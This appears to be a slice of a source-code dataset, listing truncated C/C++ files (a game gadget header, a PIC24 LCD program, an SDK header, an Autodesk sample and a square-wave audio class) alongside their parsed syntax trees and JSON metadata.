(translation_unit) "/*\n ELF750.h\n (c)2000 Palestar Inc, <NAME>\n*/\n\n#ifndef ELF750_H\n#define ELF750_H\n\n#include "DarkSpace/GadgetELF.h"\n\n//----------------------------------------------------------------------------\n\nclass ELF750 : public GadgetELF \n{\npublic:\n DECLARE_WIDGET_CLASS();\n\n // NounGadget int...
187
10
{"language": "c", "success": true, "metadata": {"lines": 52, "avg_line_length": 16.0, "nodes": 85, "errors": 0, "source_hash": "a4d50484c346e28b584da20c1cb1b2d6984b77f324f79ad78181d323fca7e2a5", "categorized_nodes": 55}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef E...
77,295
c
/* * File: main.c * Author: crouchcd * * Created on December 6, 2017, 6:08 PM */ #define FCY 4000000UL //FCY = FOSC / 2 unsigned long (UL) // PC24FJ128GA204 = 8MHz internal oscillator // must be defined before importing <libpic30.h> #include <libpic30.h> #include "LCD.h" #include "xc.h" #include "mcc_generated...
19.82
28
(translation_unit) "/* \n * File: main.c\n * Author: crouchcd\n *\n * Created on December 6, 2017, 6:08 PM\n */\n#define FCY 4000000UL //FCY = FOSC / 2 unsigned long (UL) \n// PC24FJ128GA204 = 8MHz internal oscillator\n// must be defined before importing <libpic30.h>\n#include <libpic30.h>\n#include "LCD.h"\n#include...
107
0
{"language": "c", "success": true, "metadata": {"lines": 28, "avg_line_length": 19.82, "nodes": 48, "errors": 0, "source_hash": "b2f4e86e53cc25ee4d9100d66d15ea0bbfd9eeb9099c532501bef26a05a73965", "categorized_nodes": 36}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_def", "text": "#define FC...
77,296
c
/* Cornerstone SDK v1.0.1 -- 面向现代 C++ 的 Corn SDK 兼容小栗子框架 v2.7.1-v2.7.2 和 Corn SDK v2.7.1 https://github.com/Sc-Softs/CornerstoneSDK 使用 MIT License 进行许可 SPDX-License-Identifier: MIT Copyright © 2020 Contributors of Cornerstone SDK Permission is hereby granted, free of charge, to any person obtaining a copy of this sof...
32.63
78
(translation_unit) "/*\nCornerstone SDK v1.0.1\n-- 面向现代 C++ 的 Corn SDK\n兼容小栗子框架 v2.7.1-v2.7.2 和 Corn SDK v2.7.1\nhttps://github.com/Sc-Softs/CornerstoneSDK\n\n使用 MIT License 进行许可\nSPDX-License-Identifier: MIT\nCopyright © 2020 Contributors of Cornerstone SDK\n\nPermission is hereby granted, free of charge, to any perso...
503
31
{"language": "c", "success": true, "metadata": {"lines": 78, "avg_line_length": 32.63, "nodes": 316, "errors": 0, "source_hash": "483a2dfe31e85ab7c2e4514693e49ec6d31fabe1de1bde36d6346727e5fa5907", "categorized_nodes": 211}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "lude <v...
77,297
c
//- // ========================================================================== // Copyright 1995,2006,2008 Autodesk, Inc. All rights reserved. // // Use of this software is subject to the terms of the Autodesk // license agreement provided at the time of installation or download, // or which otherwise accompanies th...
35.24
78
(translation_unit) "//-\n// ==========================================================================\n// Copyright 1995,2006,2008 Autodesk, Inc. All rights reserved.\n//\n// Use of this software is subject to the terms of the Autodesk\n// license agreement provided at the time of installation or download,\n// or whic...
250
8
{"language": "c", "success": true, "metadata": {"lines": 78, "avg_line_length": 35.24, "nodes": 125, "errors": 0, "source_hash": "2f70308f642bf4975011a3f7049f4b4e56192538e4f09f8ba0a8f5eb77a10cf3", "categorized_nodes": 102}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma...
77,298
c
#ifndef SQUAREWAVE_H #define SQUAREWAVE_H #include "RectWave.h" namespace Tonality { // The PWM of a RectWave_ or RectWaveBL_ is 0.5 by default (square) // Quck-and-dirty square wave class SquareWave : public TemplatedGenerator<Tonality_::RectWave_> { public: TONALITY_MAKE_GEN_SETTERS(SquareWave, freq, setF...
28.11
18
(translation_unit) "#ifndef SQUAREWAVE_H\n#define SQUAREWAVE_H\n\n#include "RectWave.h"\n\nnamespace Tonality\n{\n\n // The PWM of a RectWave_ or RectWaveBL_ is 0.5 by default (square)\n\n // Quck-and-dirty square wave\n class SquareWave : public TemplatedGenerator<Tonality_::RectWave_> {\n\n public:\n\n TONALITY_MAKE...
91
4
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 28.11, "nodes": 45, "errors": 0, "source_hash": "aa354b639be63d021f1a234b62b4f1cb3e67a91a300366436734c2200ea3b43d", "categorized_nodes": 31}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,299